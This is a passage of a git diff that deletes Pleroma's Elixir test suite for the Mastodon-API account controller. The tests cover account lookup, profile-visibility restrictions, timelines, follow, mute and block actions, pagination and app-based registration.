account["source"]["pleroma"]["actor_type"] == "Person" - end - end -end diff --git a/test/web/mastodon_api/controllers/account_controller_test.exs b/test/web/mastodon_api/controllers/account_controller_test.exs deleted file mode 100644 index f7f1369e4..000000000 --- a/test/web/mastodon_api/controllers/account_controller_test.exs +++ /dev/null @@ -1,1536 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.AccountControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.ActivityPub.InternalFetchActor - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.OAuth.Token - - import Pleroma.Factory - - describe "account fetching" do - test "works by id" do - %User{id: user_id} = insert(:user) - - assert %{"id" => ^user_id} = - build_conn() - |> get("/api/v1/accounts/#{user_id}") - |> json_response_and_validate_schema(200) - - assert %{"error" => "Can't find user"} = - build_conn() - |> get("/api/v1/accounts/-1") - |> json_response_and_validate_schema(404) - end - - test "works by nickname" do - user = insert(:user) - - assert %{"id" => user_id} = - build_conn() - |> get("/api/v1/accounts/#{user.nickname}") - |> json_response_and_validate_schema(200) - end - - test "works by nickname for remote users" do - clear_config([:instance, :limit_to_local_content], false) - - user = insert(:user, nickname: "user@example.com", local: false) - - assert %{"id" => user_id} = - build_conn() - |> get("/api/v1/accounts/#{user.nickname}") - |> json_response_and_validate_schema(200) - end - - test "respects limit_to_local_content == :all for remote user nicknames" do - clear_config([:instance, :limit_to_local_content], :all) - - user = insert(:user, nickname: "user@example.com", local: false) - - assert build_conn() - |> get("/api/v1/accounts/#{user.nickname}") - |> json_response_and_validate_schema(404) - end - - test "respects limit_to_local_content == :unauthenticated for remote user nicknames" do - clear_config([:instance, :limit_to_local_content], :unauthenticated) - - user = insert(:user, nickname: "user@example.com", local: false) - reading_user = insert(:user) - - conn = - build_conn() - |> get("/api/v1/accounts/#{user.nickname}") - - assert json_response_and_validate_schema(conn, 404) - - conn = - build_conn() - |> assign(:user, reading_user) - |> assign(:token, insert(:oauth_token, user: reading_user, scopes: ["read:accounts"])) - |> get("/api/v1/accounts/#{user.nickname}") - - assert %{"id" => id} = json_response_and_validate_schema(conn, 200) - assert id == user.id - end - - test "accounts fetches correct account for nicknames beginning with numbers", %{conn: conn} do - # Need to set an old-style integer ID to reproduce the problem - # (these are no longer assigned to new accounts but were preserved - # for existing accounts during the migration to flakeIDs) - user_one = insert(:user, %{id: 1212}) - user_two = insert(:user, %{nickname: "#{user_one.id}garbage"}) - - acc_one = - conn - |> get("/api/v1/accounts/#{user_one.id}") - |> json_response_and_validate_schema(:ok) - - acc_two = - conn - |> get("/api/v1/accounts/#{user_two.nickname}") - |> json_response_and_validate_schema(:ok) - - acc_three = - conn - |> get("/api/v1/accounts/#{user_two.id}") - |> json_response_and_validate_schema(:ok) - - refute acc_one == acc_two - assert acc_two == acc_three - end - - test "returns 404 when user is invisible", %{conn: conn} do - user = insert(:user, %{invisible: true}) - - assert %{"error" => "Can't find user"} = - conn - |> get("/api/v1/accounts/#{user.nickname}") - |> json_response_and_validate_schema(404) - end - - test "returns 404 for internal.fetch actor", %{conn: conn} do - %User{nickname: "internal.fetch"} = InternalFetchActor.get_actor() - - assert %{"error" => "Can't find user"} = - conn - |> get("/api/v1/accounts/internal.fetch") - |> json_response_and_validate_schema(404) - end - - test "returns 404 for deactivated user", %{conn: conn} do - user = insert(:user, deactivated: true) - - assert %{"error" => "Can't find user"} = - conn - |> get("/api/v1/accounts/#{user.id}") - |> json_response_and_validate_schema(:not_found) - end - end - - defp local_and_remote_users do - local = insert(:user) - remote = insert(:user, local: false) - {:ok, local: local, remote: remote} - end - - describe "user fetching with restrict unauthenticated profiles for local and remote" do - setup do: local_and_remote_users() - - setup do: clear_config([:restrict_unauthenticated, :profiles, :local], true) - - setup do: clear_config([:restrict_unauthenticated, :profiles, :remote], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - assert %{"error" => "This API requires an authenticated user"} == - conn - |> get("/api/v1/accounts/#{local.id}") - |> json_response_and_validate_schema(:unauthorized) - - assert %{"error" => "This API requires an authenticated user"} == - conn - |> get("/api/v1/accounts/#{remote.id}") - |> json_response_and_validate_schema(:unauthorized) - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - - res_conn = get(conn, "/api/v1/accounts/#{local.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - - res_conn = get(conn, "/api/v1/accounts/#{remote.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - end - end - - describe "user fetching with restrict unauthenticated profiles for local" do - setup do: local_and_remote_users() - - setup do: clear_config([:restrict_unauthenticated, :profiles, :local], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - res_conn = get(conn, "/api/v1/accounts/#{local.id}") - - assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ - "error" => "This API requires an authenticated user" - } - - res_conn = get(conn, "/api/v1/accounts/#{remote.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - - res_conn = get(conn, "/api/v1/accounts/#{local.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - - res_conn = get(conn, "/api/v1/accounts/#{remote.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - end - end - - describe "user fetching with restrict unauthenticated profiles for remote" do - setup do: local_and_remote_users() - - setup do: clear_config([:restrict_unauthenticated, :profiles, :remote], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - res_conn = get(conn, "/api/v1/accounts/#{local.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - - res_conn = get(conn, "/api/v1/accounts/#{remote.id}") - - assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ - "error" => "This API requires an authenticated user" - } - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - - res_conn = get(conn, "/api/v1/accounts/#{local.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - - res_conn = get(conn, "/api/v1/accounts/#{remote.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - end - end - - describe "user timelines" do - setup do: oauth_access(["read:statuses"]) - - test "works with announces that are just addressed to public", %{conn: conn} do - user = insert(:user, ap_id: "https://honktest/u/test", local: false) - other_user = insert(:user) - - {:ok, post} = CommonAPI.post(other_user, %{status: "bonkeronk"}) - - {:ok, announce, _} = - %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "actor" => "https://honktest/u/test", - "id" => "https://honktest/u/test/bonk/1793M7B9MQ48847vdx", - "object" => post.data["object"], - "published" => "2019-06-25T19:33:58Z", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "type" => "Announce" - } - |> ActivityPub.persist(local: false) - - assert resp = - conn - |> get("/api/v1/accounts/#{user.id}/statuses") - |> json_response_and_validate_schema(200) - - assert [%{"id" => id}] = resp - assert id == announce.id - end - - test "deactivated user", %{conn: conn} do - user = insert(:user, deactivated: true) - - assert %{"error" => "Can't find user"} == - conn - |> get("/api/v1/accounts/#{user.id}/statuses") - |> json_response_and_validate_schema(:not_found) - end - - test "returns 404 when user is invisible", %{conn: conn} do - user = insert(:user, %{invisible: true}) - - assert %{"error" => "Can't find user"} = - conn - |> get("/api/v1/accounts/#{user.id}") - |> json_response_and_validate_schema(404) - end - - test "respects blocks", %{user: user_one, conn: conn} do - user_two = insert(:user) - user_three = insert(:user) - - User.block(user_one, user_two) - - {:ok, activity} = CommonAPI.post(user_two, %{status: "User one sux0rz"}) - {:ok, repeat} = CommonAPI.repeat(activity.id, user_three) - - assert resp = - conn - |> get("/api/v1/accounts/#{user_two.id}/statuses") - |> json_response_and_validate_schema(200) - - assert [%{"id" => id}] = resp - assert id == activity.id - - # Even a blocked user will deliver the full user timeline, there would be - # no point in looking at a blocked users timeline otherwise - assert resp = - conn - |> get("/api/v1/accounts/#{user_two.id}/statuses") - |> json_response_and_validate_schema(200) - - assert [%{"id" => id}] = resp - assert id == activity.id - - # Third user's timeline includes the repeat when viewed by unauthenticated user - resp = - build_conn() - |> get("/api/v1/accounts/#{user_three.id}/statuses") - |> json_response_and_validate_schema(200) - - assert [%{"id" => id}] = resp - assert id == repeat.id - - # When viewing a third user's timeline, the blocked users' statuses will NOT be shown - resp = get(conn, "/api/v1/accounts/#{user_three.id}/statuses") - - assert [] == json_response_and_validate_schema(resp, 200) - end - - test "gets users statuses", %{conn: conn} do - user_one = insert(:user) - user_two = insert(:user) - user_three = insert(:user) - - {:ok, _user_three} = User.follow(user_three, user_one) - - {:ok, activity} = CommonAPI.post(user_one, %{status: "HI!!!"}) - - {:ok, direct_activity} = - CommonAPI.post(user_one, %{ - status: "Hi, @#{user_two.nickname}.", - visibility: "direct" - }) - - {:ok, private_activity} = - CommonAPI.post(user_one, %{status: "private", visibility: "private"}) - - # TODO!!! - resp = - conn - |> get("/api/v1/accounts/#{user_one.id}/statuses") - |> json_response_and_validate_schema(200) - - assert [%{"id" => id}] = resp - assert id == to_string(activity.id) - - resp = - conn - |> assign(:user, user_two) - |> assign(:token, insert(:oauth_token, user: user_two, scopes: ["read:statuses"])) - |> get("/api/v1/accounts/#{user_one.id}/statuses") - |> json_response_and_validate_schema(200) - - assert [%{"id" => id_one}, %{"id" => id_two}] = resp - assert id_one == to_string(direct_activity.id) - assert id_two == to_string(activity.id) - - resp = - conn - |> assign(:user, user_three) - |> assign(:token, insert(:oauth_token, user: user_three, scopes: ["read:statuses"])) - |> get("/api/v1/accounts/#{user_one.id}/statuses") - |> json_response_and_validate_schema(200) - - assert [%{"id" => id_one}, %{"id" => id_two}] = resp - assert id_one == to_string(private_activity.id) - assert id_two == to_string(activity.id) - end - - test "unimplemented pinned statuses feature", %{conn: conn} do - note = insert(:note_activity) - user = User.get_cached_by_ap_id(note.data["actor"]) - - conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?pinned=true") - - assert json_response_and_validate_schema(conn, 200) == [] - end - - test "gets an users media, excludes reblogs", %{conn: conn} do - note = insert(:note_activity) - user = User.get_cached_by_ap_id(note.data["actor"]) - other_user = insert(:user) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, %{id: media_id}} = ActivityPub.upload(file, actor: user.ap_id) - - {:ok, %{id: image_post_id}} = CommonAPI.post(user, %{status: "cofe", media_ids: [media_id]}) - - {:ok, %{id: media_id}} = ActivityPub.upload(file, actor: other_user.ap_id) - - {:ok, %{id: other_image_post_id}} = - CommonAPI.post(other_user, %{status: "cofe2", media_ids: [media_id]}) - - {:ok, _announce} = CommonAPI.repeat(other_image_post_id, user) - - conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?only_media=true") - - assert [%{"id" => ^image_post_id}] = json_response_and_validate_schema(conn, 200) - - conn = get(build_conn(), "/api/v1/accounts/#{user.id}/statuses?only_media=1") - - assert [%{"id" => ^image_post_id}] = json_response_and_validate_schema(conn, 200) - end - - test "gets a user's statuses without reblogs", %{user: user, conn: conn} do - {:ok, %{id: post_id}} = CommonAPI.post(user, %{status: "HI!!!"}) - {:ok, _} = CommonAPI.repeat(post_id, user) - - conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?exclude_reblogs=true") - assert [%{"id" => ^post_id}] = json_response_and_validate_schema(conn, 200) - - conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?exclude_reblogs=1") - assert [%{"id" => ^post_id}] = json_response_and_validate_schema(conn, 200) - end - - test "filters user's statuses by a hashtag", %{user: user, conn: conn} do - {:ok, %{id: post_id}} = CommonAPI.post(user, %{status: "#hashtag"}) - {:ok, _post} = CommonAPI.post(user, %{status: "hashtag"}) - - conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?tagged=hashtag") - assert [%{"id" => ^post_id}] = json_response_and_validate_schema(conn, 200) - end - - test "the user views their own timelines and excludes direct messages", %{ - user: user, - conn: conn - } do - {:ok, %{id: public_activity_id}} = - CommonAPI.post(user, %{status: ".", visibility: "public"}) - - {:ok, _direct_activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) - - conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?exclude_visibilities[]=direct") - assert [%{"id" => ^public_activity_id}] = json_response_and_validate_schema(conn, 200) - end - end - - defp local_and_remote_activities(%{local: local, remote: remote}) do - insert(:note_activity, user: local) - insert(:note_activity, user: remote, local: false) - - :ok - end - - describe "statuses with restrict unauthenticated profiles for local and remote" do - setup do: local_and_remote_users() - setup :local_and_remote_activities - - setup do: clear_config([:restrict_unauthenticated, :profiles, :local], true) - - setup do: clear_config([:restrict_unauthenticated, :profiles, :remote], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - assert %{"error" => "This API requires an authenticated user"} == - conn - |> get("/api/v1/accounts/#{local.id}/statuses") - |> json_response_and_validate_schema(:unauthorized) - - assert %{"error" => "This API requires an authenticated user"} == - conn - |> get("/api/v1/accounts/#{remote.id}/statuses") - |> json_response_and_validate_schema(:unauthorized) - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - - res_conn = get(conn, "/api/v1/accounts/#{local.id}/statuses") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - - res_conn = get(conn, "/api/v1/accounts/#{remote.id}/statuses") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - end - end - - describe "statuses with restrict unauthenticated profiles for local" do - setup do: local_and_remote_users() - setup :local_and_remote_activities - - setup do: clear_config([:restrict_unauthenticated, :profiles, :local], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - assert %{"error" => "This API requires an authenticated user"} == - conn - |> get("/api/v1/accounts/#{local.id}/statuses") - |> json_response_and_validate_schema(:unauthorized) - - res_conn = get(conn, "/api/v1/accounts/#{remote.id}/statuses") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - - res_conn = get(conn, "/api/v1/accounts/#{local.id}/statuses") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - - res_conn = get(conn, "/api/v1/accounts/#{remote.id}/statuses") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - end - end - - describe "statuses with restrict unauthenticated profiles for remote" do - setup do: local_and_remote_users() - setup :local_and_remote_activities - - setup do: clear_config([:restrict_unauthenticated, :profiles, :remote], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - res_conn = get(conn, "/api/v1/accounts/#{local.id}/statuses") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - - assert %{"error" => "This API requires an authenticated user"} == - conn - |> get("/api/v1/accounts/#{remote.id}/statuses") - |> json_response_and_validate_schema(:unauthorized) - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - - res_conn = get(conn, "/api/v1/accounts/#{local.id}/statuses") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - - res_conn = get(conn, "/api/v1/accounts/#{remote.id}/statuses") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - end - end - - describe "followers" do - setup do: oauth_access(["read:accounts"]) - - test "getting followers", %{user: user, conn: conn} do - other_user = insert(:user) - {:ok, %{id: user_id}} = User.follow(user, other_user) - - conn = get(conn, "/api/v1/accounts/#{other_user.id}/followers") - - assert [%{"id" => ^user_id}] = json_response_and_validate_schema(conn, 200) - end - - test "getting followers, hide_followers", %{user: user, conn: conn} do - other_user = insert(:user, hide_followers: true) - {:ok, _user} = User.follow(user, other_user) - - conn = get(conn, "/api/v1/accounts/#{other_user.id}/followers") - - assert [] == json_response_and_validate_schema(conn, 200) - end - - test "getting followers, hide_followers, same user requesting" do - user = insert(:user) - other_user = insert(:user, hide_followers: true) - {:ok, _user} = User.follow(user, other_user) - - conn = - build_conn() - |> assign(:user, other_user) - |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"])) - |> get("/api/v1/accounts/#{other_user.id}/followers") - - refute [] == json_response_and_validate_schema(conn, 200) - end - - test "getting followers, pagination", %{user: user, conn: conn} do - {:ok, %User{id: follower1_id}} = :user |> insert() |> User.follow(user) - {:ok, %User{id: follower2_id}} = :user |> insert() |> User.follow(user) - {:ok, %User{id: follower3_id}} = :user |> insert() |> User.follow(user) - - assert [%{"id" => ^follower3_id}, %{"id" => ^follower2_id}] = - conn - |> get("/api/v1/accounts/#{user.id}/followers?since_id=#{follower1_id}") - |> json_response_and_validate_schema(200) - - assert [%{"id" => ^follower2_id}, %{"id" => ^follower1_id}] = - conn - |> get("/api/v1/accounts/#{user.id}/followers?max_id=#{follower3_id}") - |> json_response_and_validate_schema(200) - - assert [%{"id" => ^follower2_id}, %{"id" => ^follower1_id}] = - conn - |> get( - "/api/v1/accounts/#{user.id}/followers?id=#{user.id}&limit=20&max_id=#{ - follower3_id - }" - ) - |> json_response_and_validate_schema(200) - - res_conn = get(conn, "/api/v1/accounts/#{user.id}/followers?limit=1&max_id=#{follower3_id}") - - assert [%{"id" => ^follower2_id}] = json_response_and_validate_schema(res_conn, 200) - - assert [link_header] = get_resp_header(res_conn, "link") - assert link_header =~ ~r/min_id=#{follower2_id}/ - assert link_header =~ ~r/max_id=#{follower2_id}/ - end - end - - describe "following" do - setup do: oauth_access(["read:accounts"]) - - test "getting following", %{user: user, conn: conn} do - other_user = insert(:user) - {:ok, user} = User.follow(user, other_user) - - conn = get(conn, "/api/v1/accounts/#{user.id}/following") - - assert [%{"id" => id}] = json_response_and_validate_schema(conn, 200) - assert id == to_string(other_user.id) - end - - test "getting following, hide_follows, other user requesting" do - user = insert(:user, hide_follows: true) - other_user = insert(:user) - {:ok, user} = User.follow(user, other_user) - - conn = - build_conn() - |> assign(:user, other_user) - |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"])) - |> get("/api/v1/accounts/#{user.id}/following") - - assert [] == json_response_and_validate_schema(conn, 200) - end - - test "getting following, hide_follows, same user requesting" do - user = insert(:user, hide_follows: true) - other_user = insert(:user) - {:ok, user} = User.follow(user, other_user) - - conn = - build_conn() - |> assign(:user, user) - |> assign(:token, insert(:oauth_token, user: user, scopes: ["read:accounts"])) - |> get("/api/v1/accounts/#{user.id}/following") - - refute [] == json_response_and_validate_schema(conn, 200) - end - - test "getting following, pagination", %{user: user, conn: conn} do - following1 = insert(:user) - following2 = insert(:user) - following3 = insert(:user) - {:ok, _} = User.follow(user, following1) - {:ok, _} = User.follow(user, following2) - {:ok, _} = User.follow(user, following3) - - res_conn = get(conn, "/api/v1/accounts/#{user.id}/following?since_id=#{following1.id}") - - assert [%{"id" => id3}, %{"id" => id2}] = json_response_and_validate_schema(res_conn, 200) - assert id3 == following3.id - assert id2 == following2.id - - res_conn = get(conn, "/api/v1/accounts/#{user.id}/following?max_id=#{following3.id}") - - assert [%{"id" => id2}, %{"id" => id1}] = json_response_and_validate_schema(res_conn, 200) - assert id2 == following2.id - assert id1 == following1.id - - res_conn = - get( - conn, - "/api/v1/accounts/#{user.id}/following?id=#{user.id}&limit=20&max_id=#{following3.id}" - ) - - assert [%{"id" => id2}, %{"id" => id1}] = json_response_and_validate_schema(res_conn, 200) - assert id2 == following2.id - assert id1 == following1.id - - res_conn = - get(conn, "/api/v1/accounts/#{user.id}/following?limit=1&max_id=#{following3.id}") - - assert [%{"id" => id2}] = json_response_and_validate_schema(res_conn, 200) - assert id2 == following2.id - - assert [link_header] = get_resp_header(res_conn, "link") - assert link_header =~ ~r/min_id=#{following2.id}/ - assert link_header =~ ~r/max_id=#{following2.id}/ - end - end - - describe "follow/unfollow" do - setup do: oauth_access(["follow"]) - - test "following / unfollowing a user", %{conn: conn} do - %{id: other_user_id, nickname: other_user_nickname} = insert(:user) - - assert %{"id" => _id, "following" => true} = - conn - |> post("/api/v1/accounts/#{other_user_id}/follow") - |> json_response_and_validate_schema(200) - - assert %{"id" => _id, "following" => false} = - conn - |> post("/api/v1/accounts/#{other_user_id}/unfollow") - |> json_response_and_validate_schema(200) - - assert %{"id" => ^other_user_id} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/follows", %{"uri" => other_user_nickname}) - |> json_response_and_validate_schema(200) - end - - test "cancelling follow request", %{conn: conn} do - %{id: other_user_id} = insert(:user, %{locked: true}) - - assert %{"id" => ^other_user_id, "following" => false, "requested" => true} = - conn - |> post("/api/v1/accounts/#{other_user_id}/follow") - |> json_response_and_validate_schema(:ok) - - assert %{"id" => ^other_user_id, "following" => false, "requested" => false} = - conn - |> post("/api/v1/accounts/#{other_user_id}/unfollow") - |> json_response_and_validate_schema(:ok) - end - - test "following without reblogs" do - %{conn: conn} = oauth_access(["follow", "read:statuses"]) - followed = insert(:user) - other_user = insert(:user) - - ret_conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/accounts/#{followed.id}/follow", %{reblogs: false}) - - assert %{"showing_reblogs" => false} = json_response_and_validate_schema(ret_conn, 200) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "hey"}) - {:ok, %{id: reblog_id}} = CommonAPI.repeat(activity.id, followed) - - assert [] == - conn - |> get("/api/v1/timelines/home") - |> json_response(200) - - assert %{"showing_reblogs" => true} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/accounts/#{followed.id}/follow", %{reblogs: true}) - |> json_response_and_validate_schema(200) - - assert [%{"id" => ^reblog_id}] = - conn - |> get("/api/v1/timelines/home") - |> json_response(200) - end - - test "following with reblogs" do - %{conn: conn} = oauth_access(["follow", "read:statuses"]) - followed = insert(:user) - other_user = insert(:user) - - ret_conn = post(conn, "/api/v1/accounts/#{followed.id}/follow") - - assert %{"showing_reblogs" => true} = json_response_and_validate_schema(ret_conn, 200) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "hey"}) - {:ok, %{id: reblog_id}} = CommonAPI.repeat(activity.id, followed) - - assert [%{"id" => ^reblog_id}] = - conn - |> get("/api/v1/timelines/home") - |> json_response(200) - - assert %{"showing_reblogs" => false} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/accounts/#{followed.id}/follow", %{reblogs: false}) - |> json_response_and_validate_schema(200) - - assert [] == - conn - |> get("/api/v1/timelines/home") - |> json_response(200) - end - - test "following / unfollowing errors", %{user: user, conn: conn} do - # self follow - conn_res = post(conn, "/api/v1/accounts/#{user.id}/follow") - - assert %{"error" => "Can not follow yourself"} = - json_response_and_validate_schema(conn_res, 400) - - # self unfollow - user = User.get_cached_by_id(user.id) - conn_res = post(conn, "/api/v1/accounts/#{user.id}/unfollow") - - assert %{"error" => "Can not unfollow yourself"} = - json_response_and_validate_schema(conn_res, 400) - - # self follow via uri - user = User.get_cached_by_id(user.id) - - assert %{"error" => "Can not follow yourself"} = - conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/v1/follows", %{"uri" => user.nickname}) - |> json_response_and_validate_schema(400) - - # follow non existing user - conn_res = post(conn, "/api/v1/accounts/doesntexist/follow") - assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn_res, 404) - - # follow non existing user via uri - conn_res = - conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/v1/follows", %{"uri" => "doesntexist"}) - - assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn_res, 404) - - # unfollow non existing user - conn_res = post(conn, "/api/v1/accounts/doesntexist/unfollow") - assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn_res, 404) - end - end - - describe "mute/unmute" do - setup do: oauth_access(["write:mutes"]) - - test "with notifications", %{conn: conn} do - other_user = insert(:user) - - assert %{"id" => _id, "muting" => true, "muting_notifications" => true} = - conn - |> post("/api/v1/accounts/#{other_user.id}/mute") - |> json_response_and_validate_schema(200) - - conn = post(conn, "/api/v1/accounts/#{other_user.id}/unmute") - - assert %{"id" => _id, "muting" => false, "muting_notifications" => false} = - json_response_and_validate_schema(conn, 200) - end - - test "without notifications", %{conn: conn} do - other_user = insert(:user) - - ret_conn = - conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/v1/accounts/#{other_user.id}/mute", %{"notifications" => "false"}) - - assert %{"id" => _id, "muting" => true, "muting_notifications" => false} = - json_response_and_validate_schema(ret_conn, 200) - - conn = post(conn, "/api/v1/accounts/#{other_user.id}/unmute") - - assert %{"id" => _id, "muting" => false, "muting_notifications" => false} = - json_response_and_validate_schema(conn, 200) - end - end - - describe "pinned statuses" do - setup do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "HI!!!"}) - %{conn: conn} = oauth_access(["read:statuses"], user: user) - - [conn: conn, user: user, activity: activity] - end - - test "returns pinned statuses", %{conn: conn, user: user, activity: %{id: activity_id}} do - {:ok, _} = CommonAPI.pin(activity_id, user) - - assert [%{"id" => ^activity_id, "pinned" => true}] = - conn - |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") - |> json_response_and_validate_schema(200) - end - end - - test "blocking / unblocking a user" do - %{conn: conn} = oauth_access(["follow"]) - other_user = insert(:user) - - ret_conn = post(conn, "/api/v1/accounts/#{other_user.id}/block") - - assert %{"id" => _id, "blocking" => true} = json_response_and_validate_schema(ret_conn, 200) - - conn = post(conn, "/api/v1/accounts/#{other_user.id}/unblock") - - assert %{"id" => _id, "blocking" => false} = json_response_and_validate_schema(conn, 200) - end - - describe "create account by app" do - setup do - valid_params = %{ - username: "lain", - email: "lain@example.org", - password: "PlzDontHackLain", - agreement: true - } - - [valid_params: valid_params] - end - - test "registers and logs in without :account_activation_required / :account_approval_required", - %{conn: conn} do - clear_config([:instance, :account_activation_required], false) - clear_config([:instance, :account_approval_required], false) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/apps", %{ - client_name: "client_name", - redirect_uris: "urn:ietf:wg:oauth:2.0:oob", - scopes: "read, write, follow" - }) - - assert %{ - "client_id" => client_id, - "client_secret" => client_secret, - "id" => _, - "name" => "client_name", - "redirect_uri" => "urn:ietf:wg:oauth:2.0:oob", - "vapid_key" => _, - "website" => nil - } = json_response_and_validate_schema(conn, 200) - - conn = - post(conn, "/oauth/token", %{ - grant_type: "client_credentials", - client_id: client_id, - client_secret: client_secret - }) - - assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} = - json_response(conn, 200) - - assert token - token_from_db = Repo.get_by(Token, token: token) - assert token_from_db - assert refresh - assert scope == "read write follow" - - clear_config([User, :email_blacklist], ["example.org"]) - - params = %{ - username: "lain", - email: "lain@example.org", - password: "PlzDontHackLain", - bio: "Test Bio", - agreement: true - } - - conn = - build_conn() - |> put_req_header("content-type", "multipart/form-data") - |> put_req_header("authorization", "Bearer " <> token) - |> post("/api/v1/accounts", params) - - assert %{"error" => "{\"email\":[\"Invalid email\"]}"} = - json_response_and_validate_schema(conn, 400) - - Pleroma.Config.put([User, :email_blacklist], []) - - conn = - build_conn() - |> put_req_header("content-type", "multipart/form-data") - |> put_req_header("authorization", "Bearer " <> token) - |> post("/api/v1/accounts", params) - - %{ - "access_token" => token, - "created_at" => _created_at, - "scope" => ^scope, - "token_type" => "Bearer" - } = json_response_and_validate_schema(conn, 200) - - token_from_db = Repo.get_by(Token, token: token) - assert token_from_db - user = Repo.preload(token_from_db, :user).user - - assert user - refute user.confirmation_pending - refute user.approval_pending - end - - test "registers but does not log in with :account_activation_required", %{conn: conn} do - clear_config([:instance, :account_activation_required], true) - clear_config([:instance, :account_approval_required], false) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/apps", %{ - client_name: "client_name", - redirect_uris: "urn:ietf:wg:oauth:2.0:oob", - scopes: "read, write, follow" - }) - - assert %{ - "client_id" => client_id, - "client_secret" => client_secret, - "id" => _, - "name" => "client_name", - "redirect_uri" => "urn:ietf:wg:oauth:2.0:oob", - "vapid_key" => _, - "website" => nil - } = json_response_and_validate_schema(conn, 200) - - conn = - post(conn, "/oauth/token", %{ - grant_type: "client_credentials", - client_id: client_id, - client_secret: client_secret - }) - - assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} = - json_response(conn, 200) - - assert token - token_from_db = Repo.get_by(Token, token: token) - assert token_from_db - assert refresh - assert scope == "read write follow" - - conn = - build_conn() - |> put_req_header("content-type", "multipart/form-data") - |> put_req_header("authorization", "Bearer " <> token) - |> post("/api/v1/accounts", %{ - username: "lain", - email: "lain@example.org", - password: "PlzDontHackLain", - bio: "Test Bio", - agreement: true - }) - - response = json_response_and_validate_schema(conn, 200) - assert %{"identifier" => "missing_confirmed_email"} = response - refute response["access_token"] - refute response["token_type"] - - user = Repo.get_by(User, email: "lain@example.org") - assert user.confirmation_pending - end - - test "registers but does not log in with :account_approval_required", %{conn: conn} do - clear_config([:instance, :account_approval_required], true) - clear_config([:instance, :account_activation_required], false) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/apps", %{ - client_name: "client_name", - redirect_uris: "urn:ietf:wg:oauth:2.0:oob", - scopes: "read, write, follow" - }) - - assert %{ - "client_id" => client_id, - "client_secret" => client_secret, - "id" => _, - "name" => "client_name", - "redirect_uri" => "urn:ietf:wg:oauth:2.0:oob", - "vapid_key" => _, - "website" => nil - } = json_response_and_validate_schema(conn, 200) - - conn = - post(conn, "/oauth/token", %{ - grant_type: "client_credentials", - client_id: client_id, - client_secret: client_secret - }) - - assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} = - json_response(conn, 200) - - assert token - token_from_db = Repo.get_by(Token, token: token) - assert token_from_db - assert refresh - 